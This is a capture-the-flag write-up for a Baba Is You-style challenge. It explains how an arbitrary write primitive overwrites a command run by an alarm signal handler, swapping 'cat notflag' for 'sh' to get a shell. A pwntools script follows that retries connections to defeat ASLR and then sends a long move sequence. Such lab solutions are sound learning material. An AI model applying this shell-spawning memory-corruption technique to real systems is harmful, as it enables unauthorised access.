# solution

This is the third part of a game challenge modelled after Baba Is You

Solving this level requires one to make `wall` not be `stop` which is easy once you are outside the outer walls (level2). Then you can use the digits and letters all over the grid to use the same arbitrary wstring write primitive to write to a global wstring that is currently `cat notflag`. That cmd is run after a timeout using the signal handler for alarm so if one overwrites it with `sh` or `bash` one gets shell after which one can `cat flag`

```import pwn
import time
# aslr (baba's addr on stack)
# must be in favor to teleport outside wall
i = 0
while(i < 30):
p = pwn.remote("localhost", 1339)
time.sleep(1)
s = p.recv(40000)
if (s[0x848:0x84a]==" a"):
break
p.close()
i+=1
moves = "ddddddddddddssssssdassdwwwwwwwwwwwwwddddddsswwwwaaaaasadwawaasdssssssasdwdssswwwwwwwwawwdsddddasdssaaawsddddwwaaaddddddsssssdddddwwasdsaaaaaaaaaasawwwwwsdwssssddddddddddsaaaaaaaasawwwwwwddddsssssddddsaasawwwwwwwdwaaaasddddssssddwaawassssasddddwdssssswwwwwwwaaaaaaaaawwdwwwsssaaaawaassasddddddddddwdssssssasddddwdsswwwwwwaaaaawwwwwwwwwaaassddsssssdddddssdsssssssadwwwwwwwaaaaaaawaaawawwwwsddwassssssssdswwddsadsaswddwaawwwwwwaaaaaaaaawwwwwwwwwddddddwaaaaaawassssssssssssssssssdsawasdddddddssssssssssssssssssssssssssssssdddddddddddddddddddddddddddddwwwwwwwwwwwwwwwwwwwwdwwwwwwwwwwawwaaaaaaaaaaaaaaaaaaddddddddddddddddddddssssssssssssssssssssssa"
moves += "aaaaaaawaaasaaaaaaaaaaaswaassswwwassswwwasssddddddddddddddddwdddwwwaaaasdddddsdwwwwwwwwwwwwwwwwwdwwaasdwdsaaaaaaasssssaaaaaaaaaaasddwdssssssssssss"
moves += "wwwwdddddddsssdsaaaaaawas"
moves += "wwwwwwwwwwwwwwwwwaaaaaaaawaaasssssssssssssssssasddddddddddddwdsaaaaaaaaaaass"
moves += "dwawdddddddddddwdsaaaaaaaaaaaawwwwwwwwdsssssssasddddddddddddwdswwwwwddddwaawasssssssdswddddddddwwwwwwwwdssssssdsawasddsaaaaaaaaaaaaaaaaaaaawaswasasssddddw"
p.sendline(moves)
p.interactive()
```